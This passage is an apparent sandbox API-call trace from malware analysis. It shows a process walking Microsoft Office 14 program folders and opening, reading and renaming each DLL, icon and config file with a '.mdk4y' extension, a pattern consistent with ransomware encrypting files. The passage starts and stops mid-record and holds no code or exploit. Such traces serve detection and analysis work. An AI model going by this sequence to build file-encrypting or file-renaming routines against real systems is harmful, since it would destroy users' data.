lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828666700000) returned 1 [0211.437] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x533a8, lpOverlapped=0x0) returned 1 [0211.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828672900000) returned 1 [0211.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828672900000) returned 1 [0211.502] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll.mdk4y")) returned 1 [0211.503] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.503] AreFileApisANSI () returned 1 [0211.504] GetACP () returned 0x4e4 [0211.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FACILITY.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="FACILITY.DLLdll", lpUsedDefaultChar=0x37dfd8) returned 12 [0211.504] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828673500000) returned 1 [0211.505] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0211.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828675900000) returned 1 [0211.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828675900000) returned 1 [0211.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.mdk4y")) returned 1 [0211.539] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.539] AreFileApisANSI () returned 1 [0211.539] GetACP () returned 0x4e4 [0211.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORM.DLL", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="FORM.DLL.DLL", lpUsedDefaultChar=0x37dfd8) returned 8 [0211.539] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828677000000) returned 1 [0211.540] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3a780, lpOverlapped=0x0) returned 1 [0211.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828678500000) returned 1 [0211.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828678500000) returned 1 [0211.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll.mdk4y")) returned 1 [0211.558] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.558] AreFileApisANSI () returned 1 [0211.558] GetACP () returned 0x4e4 [0211.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORMS", cchWideChar=5, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="FORMSDLL", lpUsedDefaultChar=0x37dfd8) returned 5 [0211.558] AreFileApisANSI () returned 1 [0211.558] GetACP () returned 0x4e4 [0211.558] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\") returned 49 [0211.559] AreFileApisANSI () returned 1 [0211.574] GetACP () returned 0x4e4 [0211.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0211.574] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0211.574] AreFileApisANSI () returned 1 [0211.574] GetACP () returned 0x4e4 [0211.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37df4c) returned 2 [0211.574] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0211.574] AreFileApisANSI () returned 1 [0211.575] GetACP () returned 0x4e4 [0211.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033i", lpUsedDefaultChar=0x37df4c) returned 4 [0211.575] AreFileApisANSI () returned 1 [0211.576] GetACP () returned 0x4e4 [0211.576] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=54, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\쏸j툐i2") returned 54 [0211.579] AreFileApisANSI () returned 1 [0211.579] GetACP () returned 0x4e4 [0211.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0211.579] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.580] AreFileApisANSI () returned 1 [0211.580] GetACP () returned 0x4e4 [0211.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0211.580] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.580] AreFileApisANSI () returned 1 [0211.580] GetACP () returned 0x4e4 [0211.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACTIVITL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ACTIVITL.ICOfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 12 [0211.580] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828681400000) returned 1 [0211.584] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0211.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828681500000) returned 1 [0211.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828681500000) returned 1 [0211.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.mdk4y")) returned 1 [0211.587] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.587] AreFileApisANSI () returned 1 [0211.587] GetACP () returned 0x4e4 [0211.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACTIVITS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ACTIVITS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0211.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828681800000) returned 1 [0211.588] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0211.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828681900000) returned 1 [0211.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828681900000) returned 1 [0211.589] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.mdk4y")) returned 1 [0211.590] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.590] AreFileApisANSI () returned 1 [0211.590] GetACP () returned 0x4e4 [0211.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACTIVITY.CFG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ACTIVITY.CFG", lpUsedDefaultChar=0x37dec0) returned 12 [0211.590] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828682100000) returned 1 [0211.591] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3c8, lpOverlapped=0x0) returned 1 [0211.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828685300000) returned 1 [0211.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828685300000) returned 1 [0211.623] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.mdk4y")) returned 1 [0211.625] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.625] AreFileApisANSI () returned 1 [0211.625] GetACP () returned 0x4e4 [0211.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="APPT.CFG", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="APPT.CFG.CFG", lpUsedDefaultChar=0x37dec0) returned 8 [0211.625] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828685600000) returned 1 [0211.626] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x315, lpOverlapped=0x0) returned 1 [0211.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828685700000) returned 1 [0211.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828685700000) returned 1 [0211.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.mdk4y")) returned 1 [0211.628] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.629] AreFileApisANSI () returned 1 [0211.629] GetACP () returned 0x4e4 [0211.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="APPTL.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="APPTL.ICOCFG", lpUsedDefaultChar=0x37dec0) returned 9 [0211.629] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828686000000) returned 1 [0211.630] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0211.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828707800000) returned 1 [0211.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828707800000) returned 1 [0211.848] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.mdk4y")) returned 1 [0211.850] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.850] AreFileApisANSI () returned 1 [0211.850] GetACP () returned 0x4e4 [0211.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="APPTS.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="APPTS.ICO", lpUsedDefaultChar=0x37dec0) returned 9 [0211.850] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828708100000) returned 1 [0211.851] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0211.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828713600000) returned 1 [0211.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828713600000) returned 1 [0211.906] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.mdk4y")) returned 1 [0211.908] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.908] AreFileApisANSI () returned 1 [0211.908] GetACP () returned 0x4e4 [0211.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CNFNOT.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CNFNOT.CFGFG", lpUsedDefaultChar=0x37dec0) returned 10 [0211.908] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714100000) returned 1 [0211.911] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x140, lpOverlapped=0x0) returned 1 [0211.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714300000) returned 1 [0211.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714300000) returned 1 [0211.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.mdk4y")) returned 1 [0211.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.914] AreFileApisANSI () returned 1 [0211.914] GetACP () returned 0x4e4 [0211.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CNFNOT.ICO", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CNFNOT.ICO", lpUsedDefaultChar=0x37dec0) returned 10 [0211.914] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714400000) returned 1 [0211.914] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0211.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714600000) returned 1 [0211.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714600000) returned 1 [0211.917] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.mdk4y")) returned 1 [0211.917] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.917] AreFileApisANSI () returned 1 [0211.917] GetACP () returned 0x4e4 [0211.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CNFRES.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CNFRES.CFG", lpUsedDefaultChar=0x37dec0) returned 10 [0211.918] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714900000) returned 1 [0211.919] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x152, lpOverlapped=0x0) returned 1 [0211.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714900000) returned 1 [0211.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828714900000) returned 1 [0211.920] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.mdk4y")) returned 1 [0211.920] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.920] AreFileApisANSI () returned 1 [0211.920] GetACP () returned 0x4e4 [0211.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONFLICT.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CONFLICT.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0211.920] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: 